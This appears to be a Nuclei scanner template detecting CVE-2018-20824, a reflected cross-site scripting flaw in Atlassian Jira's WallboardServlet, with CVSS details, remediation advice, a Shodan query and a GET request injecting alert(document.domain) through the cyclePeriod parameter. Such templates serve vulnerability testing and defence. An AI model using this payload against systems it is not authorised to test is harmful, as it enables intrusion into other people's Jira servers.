id: CVE-2018-20824 info: name: Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting author: madrobot,dwisiswant0 severity: medium description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the cyclePeriod parameter. remediation: | Upgrade to Atlassian Jira version 7.13.1 or later to mitigate this vulnerability. reference: - https://jira.atlassian.com/browse/JRASERVER-69238 - https://nvd.nist.gov/vuln/detail/CVE-2018-20824 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-20824 cwe-id: CWE-79 epss-score: 0.00211 epss-percentile: 0.58912 cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: atlassian product: jira shodan-query: http.component:"Atlassian Jira" tags: cve,cve2018,atlassian,jira,xss http: - method: GET path: - "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)" matchers-condition: and matchers: - type: regex part: body regex: - (?mi)timeout:\salert\(document\.domain\) - type: status status: - 200 # digest: 490a00463044022045927bb68980bfb46533666ce382cc66d72f146c9b92b4576fff5276f16632ac02204a7cceb419c770c1e718a9b40904a06f7648d1485b576273e82b1dc616f1b064:922c64590222798bb761d5b6d8e72950